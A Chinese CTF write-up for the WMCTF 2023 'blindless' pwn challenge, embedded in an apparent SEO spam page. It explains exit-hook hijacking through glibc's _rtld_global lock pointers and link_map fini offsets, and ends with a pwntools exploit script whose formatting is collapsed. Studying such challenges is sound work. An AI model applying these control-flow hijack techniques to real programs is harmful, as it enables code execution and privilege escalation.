当前位置: 首页 > news >正文

网站建设aichengkeji电子商务网站 功能

网站建设aichengkeji,电子商务网站 功能,百姓网招聘最新招聘信息,最新源码论坛0x01 前言 在计算机安全领域,漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天,我们将深入探讨一个异常危险的漏洞,它存在于程序退出时执行的常见函数"exit"中。无论是在操作系统还是应用程序中,"exit&qu…

0x01 前言

在计算机安全领域,漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天,我们将深入探讨一个异常危险的漏洞,它存在于程序退出时执行的常见函数"exit"中。无论是在操作系统还是应用程序中,"exit"都是一个普遍存在的函数,通常用于正常退出程序。但这种普遍性也使得它成为了潜在的攻击目标。

这个漏洞的威胁性在于,它不仅存在于各种程序中,而且有多种潜在的攻击方式。攻击者可以通过利用这一漏洞来执行恶意代码,获取系统权限,或者实施其他恶意行为。要理解这个漏洞的威胁,我们需要深入分析其背后的原理以及不同的利用方式。

在本文中,我们将探讨这个漏洞的具体情况,并详细分析了两种主要的利用方式:一种是将程序流转向libc库中的函数,另一种是将程序流转向程序本身的代码段。我们将深入研究这两种攻击方式的原理,并展示了一个实际漏洞利用的示例。

"blindless"是来自WMCTF 2023比赛的一个题目,虽然难度不高,但要深入理解并利用其中的漏洞,需要花费大量时间。本文总结了有关"exit_hook2libc"和"exit_hook2elf"的利用方法,旨在分享给大家学习。这题的关键是深入理解程序退出时执行的"exit"函数,以及如何通过不同方式实现漏洞利用。

0x02 exit_hook的n种姿势

图片

基地址放在此处供各位参考一下,用于计算指令偏移。

exit_hook2libc

首先是p &_rtld_global(看地址),他有一个rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive的元素可以改来调用。

注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢!

执行p _rtld_global。看到那两个rtld_lock_default_lock_recursivertld_lock_default_unlock_recursive吗,就是他们两个。我们可以修改他们的内容,从而作为exithook进行调用(直接call)。把后面的东西复制过来p &xxx就可以查看其地址了。

图片

注意看,这个程序叫小帅,他调用的第一个参数就是rdi,是_rtld_global+2312,我们可以控制他的参数为/bin/sh\x00然后做坏坏的事情(如果能把rtld_lock_default_lock_recursive也改成system的话)。

图片

然后rtld_lock_default_unlock_recursive的参数也是2312这个偏移。

注意这个2312是十进制。

图片

好的,我们就修改这两个地方就可以为所欲为了,但是exit_hook到这里还没完。

并且严格来说,这里并不是完全的exit_hook2libc,如果知道elf的地址也完全可以返回到elf上的函数。

接下来还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。)

exit_hook2elf

1.间接call

这个在这里,第一个是间接call,即指令是call qword ptr [寄存器],意思就是从寄存器的地址指向的内存里取地址,然后call。

对于间接call的利用,我们可以修改他的偏移到任意函数got表,然后配合参数rdi_rtld_global+2312使用。

例如修改_rtld_global+2312为"/bin/sh\x00"

图片

这个的基地址和偏移是存在于link_map的,这样可以找到他的地址。

图片

调试可以看到他会从这个地址的内存中取elf基地址,然后通过link_map地址+0x110存的地址取偏移。我们可以改基地址也可以选择改偏移。link_map地址+0x110是存第一个间接call的偏移的。

注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。

图片

2.直接call

link_map地址+0xa8是存第二个直接call的偏移

注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。

图片

如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l出来那儿。但是这样肯定会损坏第一次call r14的,会导致无法正常进行。

但是发现有一个地方判断可以跳过call r14

图片

就是这里,test edx,edx是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。

在x86汇编中,je 指令的作用是:

  1. 1. 检查零标志位(ZF)是否被设置为 1。

  2. 2. 如果零标志位被设置为 1,将进行跳转到指定的目标位置。

回溯发现是从link_map+0x120取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!不过也要注意,这里取的是地址+8,也就是我们要改成目标地址-8改进去。这里直接找bss段之类的即可。

图片

完成这个操作,就可以修改基地址达到任意直接call的效果了!即使没有泄露,也可直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。

0x03 exp

那么本题目由于有brainfuck函数可以执行任意地址写,则根据前面的exit_hook可以做到提权。

from pwn import *n2b = lambda x    : str(x).encode()
rv  = lambda x    : p.recv(x)
rl  = lambda     :p.recvline()
ru  = lambda s    : p.recvuntil(s)
sd  = lambda s    : p.send(s)
sl  = lambda s    : p.sendline(s)
sn  = lambda s    : sl(n2b(n))
sa  = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia  = lambda      : p.interactive()
rop = lambda r    : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))while True:context(os='linux', arch='amd64', log_level='debug')p = process('./main')context.terminal = ['tmux','new-window' ,'-n','-c']#gdb.attach(p)sla('ze',b'-10')#分配到libc上(用mmap)sla('ze',b'256')pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移pay += b'@'+p32(2148618432)pay +=b'.' + b'\xb1'pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14pay +=b'.' + b'\x00'pay += b'q'sla('code\n',pay)re = p.recvrepeat(0.1)#一直接收直到有回显#如果是system的话可以发一个cat flag再这样#这是个很好的爆破方式,学习学习if re:print('pwned!get your flag here:',re)exit(0)p.close()

图片

http://www.yayakq.cn/news/476098/

相关文章:

  • 如何做内网网站万网查询
  • 安防 光速东莞网站建设建设银行山东 2015招聘网站
  • wordpress 返回百度seo快排软件
  • onethink做移动网站ios开发者账号多少钱
  • 研究院网站模板徐州网站平台制作公司
  • 源码网站大淘客cms网站开发的技术路线
  • 做网站横幅的图片多大app界面设计模板图片
  • 徐州网站制作机构中铁建设集团有限公司西北分公司
  • 创建网站公司好网页美工实训结论与心得体会
  • 上海好的网站设计公司网站未建设的情况说明
  • wordpress站长邮箱产品如何做市场推广
  • 制作企业网站是免费的吗常用的建站软件有哪些
  • 邢台移动网站建设公司wordpress 默认图片
  • 舟山网站建设开发网站建设和维护费怎么摊销
  • 实名网站空间哪里买解聘 人力资源网站上怎么做
  • 宿迁网站建设哪家专业学做吃的网站有哪些
  • 用树莓派做网站服务器自做网站域名重定向
  • 网站建设收益分析建设微信商城网站制作
  • 做生意在哪个网站做wordpress替换js为外部引用
  • 甘肃网络公司网站建设关键词推广方法
  • 平邑做网站的windows server 2003 wordpress
  • 嘉兴专业自助建站免费咨询南通公司快速建站
  • php简单购物网站源码网站备案
  • 教程seo推广排名网站微信小程序官网登陆
  • 旅游网站设计asp百度云平台建设网站
  • 苏州企业网站设计方案win淘宝客wordpress主题模板
  • 建设银行互联网网站官网steam
  • 手机网站的特效做磁性材料在哪些网站推广比较好
  • 新网站建设都需要哪些wordpress菜单页面未找到
  • 泰州学习网站建设软文广告营销